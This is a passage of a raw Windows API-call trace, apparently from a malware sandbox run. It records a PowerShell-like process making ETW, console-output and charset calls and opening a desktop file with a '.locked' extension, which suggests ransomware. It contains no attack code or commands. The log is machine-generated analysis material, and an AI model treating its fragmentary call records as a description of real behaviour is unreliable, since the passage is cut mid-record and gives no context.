[4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.199] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.199] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.199] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.199] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.199] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.201] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.201] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.201] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.201] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.203] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.203] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.203] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.203] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.205] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0125.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0125.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aa0814 | out: lpFileInformation=0x6aa0814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd56eed, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xdd56eed, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xdd84470, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xbc44)) returned 1 [0125.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0125.207] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", lpFilePart=0x0) returned 0x5d [0125.207] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0125.207] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0125.207] CloseHandle (hObject=0x874) returned 1 [0125.218] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae710 | out: lpConsoleScreenBufferInfo=0x99ae710) returned 1 [0125.219] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae718 | out: lpMode=0x99ae718) returned 1 [0125.219] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae710, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae710*=0x2) returned 1 [0125.222] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae6b4 | out: lpConsoleScreenBufferInfo=0x99ae6b4) returned 1 [0125.222] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0125.222] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0125.222] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0125.223] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0125.223] GetConsoleOutputCP () returned 0x1b5 [0125.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0125.224] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae568 | out: lpConsoleScreenBufferInfo=0x99ae568) returned 1 [0125.224] GetConsoleOutputCP () returned 0x1b5 [0125.224] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae504, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae504) returned 0 [0125.224] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0125.225] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad02c0*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6ad02c0*, lpNumberOfCharsWritten=0x99ae568*=0x4e) returned 1 [0125.225] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0125.225] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae568*=0x2) returned 1 [0125.225] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae670 | out: lpConsoleScreenBufferInfo=0x99ae670) returned 1 [0125.226] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae678 | out: lpMode=0x99ae678) returned 1 [0125.226] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae670, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae670*=0x2) returned 1 [0125.226] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0125.226] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0125.226] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0125.227] GetConsoleOutputCP () returned 0x1b5 [0125.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0125.227] GetConsoleOutputCP () returned 0x1b5 [0125.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0125.227] GetConsoleOutputCP () returned 0x1b5 [0125.227] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.227] GetConsoleOutputCP () returned 0x1b5 [0125.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.228] GetConsoleOutputCP () returned 0x1b5 [0125.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0125.228] GetConsoleOutputCP () returned 0x1b5 [0125.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0125.228] GetConsoleOutputCP () returned 0x1b5 [0125.228] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.228] GetConsoleOutputCP () returned 0x1b5 [0125.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.229] GetConsoleOutputCP () returned 0x1b5 [0125.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0125.229] GetConsoleOutputCP () returned 0x1b5 [0125.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0125.229] GetConsoleOutputCP () returned 0x1b5 [0125.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.229] GetConsoleOutputCP () returned 0x1b5 [0125.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.229] GetConsoleOutputCP () returned 0x1b5 [0125.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0125.230] GetConsoleOutputCP () returned 0x1b5 [0125.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0125.230] GetConsoleOutputCP () returned 0x1b5 [0125.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.230] GetConsoleOutputCP () returned 0x1b5 [0125.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0125.230] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0125.231] GetConsoleOutputCP () returned 0x1b5 [0125.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0125.231] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0125.231] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad11b0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6ad11b0*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0125.231] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0125.232] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0125.232] GetConsoleOutputCP () returned 0x1b5 [0125.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0125.232] GetConsoleOutputCP () returned 0x1b5 [0125.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0125.232] GetConsoleOutputCP () returned 0x1b5 [0125.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0125.233] GetConsoleOutputCP () returned 0x1b5 [0125.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0125.233] GetConsoleOutputCP () returned 0x1b5 [0125.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.233] GetConsoleOutputCP () returned 0x1b5 [0125.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.233] GetConsoleOutputCP () returned 0x1b5 [0125.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.234] GetConsoleOutputCP () returned 0x1b5 [0125.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.234] GetConsoleOutputCP () returned 0x1b5 [0125.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.234] GetConsoleOutputCP () returned 0x1b5 [0125.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.234] GetConsoleOutputCP () returned 0x1b5 [0125.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.235] GetConsoleOutputCP () returned 0x1b5 [0125.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0125.235] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0125.235] GetConsoleOutputCP () returned 0x1b5 [0125.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0125.235] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0125.236] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad1c08*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6ad1c08*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0125.236] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0125.236] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0125.238] GetConsoleOutputCP () returned 0x1b5 [0125.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.238] GetConsoleOutputCP () returned 0x1b5 [0125.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.238] GetConsoleOutputCP () returned 0x1b5 [0125.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.239] GetConsoleOutputCP () returned 0x1b5 [0125.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.239] GetConsoleOutputCP () returned 0x1b5 [0125.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.239] GetConsoleOutputCP () returned 0x1b5 [0125.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.240] GetConsoleOutputCP () returned 0x1b5 [0125.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.240] GetConsoleOutputCP () returned 0x1b5 [0125.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.240] GetConsoleOutputCP () returned 0x1b5 [0125.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.241] GetConsoleOutputCP () returned 0x1b5 [0125.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.241] GetConsoleOutputCP () returned 0x1b5 [0125.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.241] GetConsoleOutputCP () returned 0x1b5 [0125.241] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.241] GetConsoleOutputCP () returned 0x1b5 [0125.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.242] GetConsoleOutputCP () returned 0x1b5 [0125.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.242] GetConsoleOutputCP () returned 0x1b5 [0125.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.242] GetConsoleOutputCP () returned 0x1b5 [0125.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.242] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0125.243] GetConsoleOutputCP () returned 0x1b5 [0125.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0125.243] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.243] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad3a24*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6ad3a24*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0125.243] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.244] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0125.245] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 